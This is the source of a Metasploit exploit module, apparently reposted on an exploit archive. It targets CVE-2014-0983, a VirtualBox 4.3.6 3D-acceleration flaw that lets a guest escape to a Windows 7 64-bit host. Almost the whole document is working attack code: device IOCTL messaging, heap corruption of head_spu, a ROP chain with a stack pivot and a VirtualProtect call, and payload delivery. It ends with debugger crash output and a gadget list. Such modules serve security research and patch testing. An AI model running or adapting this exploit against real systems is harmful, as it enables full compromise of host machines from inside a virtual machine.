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VirtualBox 3D Acceleration Virtual Machine Escape

Posted on 14 August 2014

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
 Rank = AverageRanking

 DEVICE = '\\.\VBoxGuest'
 INVALID_HANDLE_VALUE = 0xFFFFFFFF

 # VBOX HGCM protocol constants
 VBOXGUEST_IOCTL_HGCM_CONNECT = 2269248
 VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252
 VBOXGUEST_IOCTL_HGCM_CALL = 2269256
 CONNECT_MSG_SIZE = 140
 DISCONNECT_MSG_SIZE = 8
 SET_VERSION_MSG_SIZE = 40
 SET_PID_MSG_SIZE = 28
 CALL_EA_MSG_SIZE = 40
 VERR_WRONG_ORDER = 0xffffffea
 SHCRGL_GUEST_FN_SET_PID = 12
 SHCRGL_CPARMS_SET_PID = 1
 SHCRGL_GUEST_FN_SET_VERSION = 6
 SHCRGL_CPARMS_SET_VERSION = 2
 SHCRGL_GUEST_FN_INJECT = 9
 SHCRGL_CPARMS_INJECT = 2
 CR_PROTOCOL_VERSION_MAJOR = 9
 CR_PROTOCOL_VERSION_MINOR = 1
 VMM_DEV_HGCM_PARM_TYPE_32_BIT = 1
 VMM_DEV_HGCM_PARM_TYPE_64_BIT = 2
 VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5

 def initialize(info={})
 super(update_info(info, {
 'Name' => 'VirtualBox 3D Acceleration Virtual Machine Escape',
 'Description' => %q{
 This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The
 vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
 sequence of specially crafted of rendering messages, a virtual machine can exploit an out
 of bounds array access to corrupt memory and escape to the host. This module has been
 tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Francisco Falcon', # Vulnerability Discovery and PoC
 'Florian Ledoux', # Win 8 64 bits exploitation analysis
 'juan vazquez' # MSF module
 ],
 'Arch' => ARCH_X86_64,
 'Platform' => 'win',
 'SessionTypes' => ['meterpreter'],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'thread'
 },
 'Targets' =>
 [
 [ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)',
 {
 :messages => :target_virtualbox_436_win7_64
 }
 ]
 ],
 'Payload' =>
 {
 'Space' => 7000,
 'DisableNops' => true
 },
 'References' =>
 [
 ['CVE', '2014-0983'],
 ['BID', '66133'],
 ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'],
 ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'],
 ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php']
 ],
 'DisclosureDate' => 'Mar 11 2014',
 'DefaultTarget' => 0
 }))

 end

 def open_device
 r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)

 handle = r['return']

 if handle == INVALID_HANDLE_VALUE
 return nil
 end

 return handle
 end

 def send_ioctl(ioctl, msg)
 result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")

 if result["GetLastError"] != 0
 unless result["ErrorMessage"].blank?
 vprint_error("#{result["ErrorMessage"]}")
 end
 return nil
 end

 unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
 unless result["ErrorMessage"].blank?
 vprint_error("#{result["ErrorMessage"]}")
 end
 return nil
 end

 unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
 unless result["ErrorMessage"].blank?
 vprint_error("#{result["ErrorMessage"]}")
 end
 return nil
 end

 result
 end

 def connect
 msg = "x00" * CONNECT_MSG_SIZE

 msg[4, 4] = [2].pack("V")
 msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL"

 result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg)

 if result.nil?
 return result
 end

 client_id = result["lpOutBuffer"][136, 4].unpack("V").first

 client_id
 end

 def disconnect
 msg = "x00" * DISCONNECT_MSG_SIZE

 msg[4, 4] = [@client_id].pack("V")

 result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg)

 result
 end

 def set_pid(pid)
 msg = "x00" * SET_PID_MSG_SIZE

 msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
 msg[4, 4] = [@client_id].pack("V") # u32ClientID
 msg[8, 4] = [SHCRGL_GUEST_FN_SET_PID].pack("V")
 msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V")
 msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V")
 msg[20, 4] = [pid].pack("V")

 result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)

 result
 end

 def set_version
 msg = "x00" * SET_VERSION_MSG_SIZE

 msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
 msg[4, 4] = [@client_id].pack("V") # u32ClientID
 msg[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
 msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
 msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
 msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
 msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
 msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")

 result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)

 result
 end

 def trigger(buff_addr, buff_length)
 msg = "x00" * CALL_EA_MSG_SIZE

 msg[4, 4] = [@client_id].pack("V") # u32ClientID
 msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V")
 msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V")
 msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
 msg[20, 4] = [@client_id].pack("V") # u32ClientID
 msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V")
 msg[32, 4] = [buff_length].pack("V") # size_of(buf)
 msg[36, 4] = [buff_addr].pack("V") # (buf)

 result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)

 result
 end

 def stack_adjustment
 pivot = "x65x8bx04x25x10x00x00x00" # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB
 pivot << "x89xc4" # mov esp, eax # Store stack bottom in esp
 pivot << "x81xC4x30xF8xFFxFF" # add esp, -2000 # Plus a little offset...

 pivot
 end

 def target_virtualbox_436_win7_64(message_id)
 opcodes = [0xFF, 0xea, 0x02, 0xf7]

 opcodes_hdr = [
 0x77474c01, # type CR_MESSAGE_OPCODES
 0x8899, # conn_id
 opcodes.length # numOpcodes
 ]

 if message_id == 2
 # Message used to achieve Code execution
 # See at the end of the module for a better description of the ROP Chain,
 # or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php
 # All gadgets from VBoxREM.dll
 opcodes_data = [0x8, 0x30, 0x331].pack("V*")

 opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret
 opcodes_data << [112].pack("Q<") # RDX
 opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret
 opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret
 opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret
 opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret
 opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect)
 opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp
 opcodes_data << Rex::Text.pattern_create(80)
 opcodes_data << [0].pack("Q<") # 1st arg (lpAddress) # chain will store stack address here
 opcodes_data << Rex::Text.pattern_create(104 - 80 - 8)
 opcodes_data << [0x2000].pack("Q<") # 2nd arg (dwSize)
 opcodes_data << Rex::Text.pattern_create(140 - 104 - 8)
 opcodes_data << [0x40].pack("V") # 3rd arg (flNewProtect)
 opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64)
 opcodes_data << [0x6A70BB20].pack("V") # ptr to jmp VirtualProtect instr.
 opcodes_data << "A" * 8
 opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9
 opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10
 opcodes_data << "xe9x5bx02x00x00" # jmp $+608
 opcodes_data << "A" * (624 - 24 - 5)
 opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot
 opcodes_data << stack_adjustment
 opcodes_data << payload.encoded
 opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length)
 else
 # Message used to corrupt head_spu
 # 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data
 # 8196 => On my tests, this data size allows to keep the memory
 # not reused until the second packet arrives. The second packet,
 # of course, must have 8196 bytes length too. So this memory is
 # reused and code execution can be accomplished.
 opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*")
 opcodes_data << "B" * (8196 - opcodes_data.length)
 end

 msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data

 msg
 end

 def send_opcodes_msg(process, message_id)
 msg = self.send(target[:messages], message_id)

 mem = process.memory.allocate(msg.length + (msg.length % 1024))

 process.memory.write(mem, msg)

 trigger(mem, msg.length)
 end

 def check
 handle = open_device
 if handle.nil?
 return Exploit::CheckCode::Safe
 end
 session.railgun.kernel32.CloseHandle(handle)

 Exploit::CheckCode::Detected
 end

 def exploit
 unless self.respond_to?(target[:messages])
 print_error("Invalid target specified: no messages callback function defined")
 return
 end

 print_status("Opening device...")
 @handle = open_device
 if @handle.nil?
 fail_with(Failure::NoTarget, "#{DEVICE} device not found")
 else
 print_good("#{DEVICE} found, exploiting...")
 end

 print_status("Connecting to the service...")
 @client_id = connect
 if @client_id.nil?
 fail_with(Failure::Unknown, "Connect operation failed")
 end

 print_good("Client ID #{@client_id}")

 print_status("Calling SET_VERSION...")
 result = set_version
 if result.nil?
 fail_with(Failure::Unknown, "Failed to SET_VERSION")
 end

 this_pid = session.sys.process.getpid
 print_status("Calling SET_PID...")
 result = set_pid(this_pid)
 if result.nil?
 fail_with(Failure::Unknown, "Failed to SET_PID")
 end

 this_proc = session.sys.process.open
 print_status("Sending First 0xEA Opcode Message to control head_spu...")
 result = send_opcodes_msg(this_proc, 1)
 if result.nil?
 fail_with(Failure::Unknown, "Failed to control heap_spu...")
 end

 print_status("Sending Second 0xEA Opcode Message to execute payload...")
 @old_timeout = session.response_timeout
 session.response_timeout = 5
 begin
 send_opcodes_msg(this_proc, 2)
 rescue Rex::TimeoutError
 vprint_status("Expected timeout in case of successful exploitation")
 end
 end

 def cleanup
 unless @old_timeout.nil?
 session.response_timeout = @old_timeout
 end

 if session_created?
 # Unless we add CoE there is nothing to do
 return
 end

 unless @client_id.nil?
 print_status("Disconnecting from the service...")
 disconnect
 end

 unless @handle.nil?
 print_status("Closing the device...")
 session.railgun.kernel32.CloseHandle(@handle)
 end
 end

end

=begin

* VirtualBox 4.3.6 / Windows 7 SP1 64 bits

Crash after second message:

0:013> dd rax
00000000`0e99bd44 41306141 61413161 33614132 41346141
00000000`0e99bd54 61413561 37614136 41386141 62413961
00000000`0e99bd64 31624130 41326241 62413362 35624134
00000000`0e99bd74 41366241 62413762 39624138 41306341
00000000`0e99bd84 63413163 33634132 41346341 63413563
00000000`0e99bd94 37634136 41386341 64413963 31644130
00000000`0e99bda4 41326441 64413364 35644134 41366441
00000000`0e99bdb4 64413764 39644138 41306541 65413165
0:013> r
rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba
rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000
rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled...
 r8=0000000000000001 r9=00000000000005c0 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff
r14=000007fef1f90000 r15=0000000002f6e280
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
VBoxSharedCrOpenGL!crServerAddNewClient+0x208:
000007fe`f12797f8 ff9070030000 call qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541

Gadget 1: Stack Pivot # 0x6a682a2a

 xchg eax,esp 94
 ret c3

Gadget 2: Control RDX value # 0x6a68599a

 pop rdx 5a
 xor ecx,dword ptr [rax] 33 08
 add cl,cl 00 c9
 movzx eax,al 0f b6 c0
 ret c3

Gadget 3: Store ptr to RSP in RAX # 0x6a70a560

 lea rax,[rsp+8] 48 8d 44 24 08
 ret c3

Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c

 lea rax,[rdx+rax] 48 8d 04 02
 ret c3

Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6

 add dword ptr [rax],eax 01 00
 add cl,cl 00 c9
 ret c3

Gadget 6: Control R12 # 0x6a68124e

pop r12
ret

Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d

 mov r9,r12 4d 89 e1
 mov r8d,dword ptr [rsp+8Ch] 44 8b 84 24 8c 00 00 00
 mov rdx,qword ptr [rsp+68h] 48 8b 54 24 68
 mov rcx,qword ptr [rsp+50h] 48 8b 4c 24 50
 call rbp ff d5

Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560

 lea rax, [rsp+8] 48 8d 44 24 08
 ret c3

 Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d

 push rax 50
 adc cl,ch 10 e9
 ret c3

=end

 

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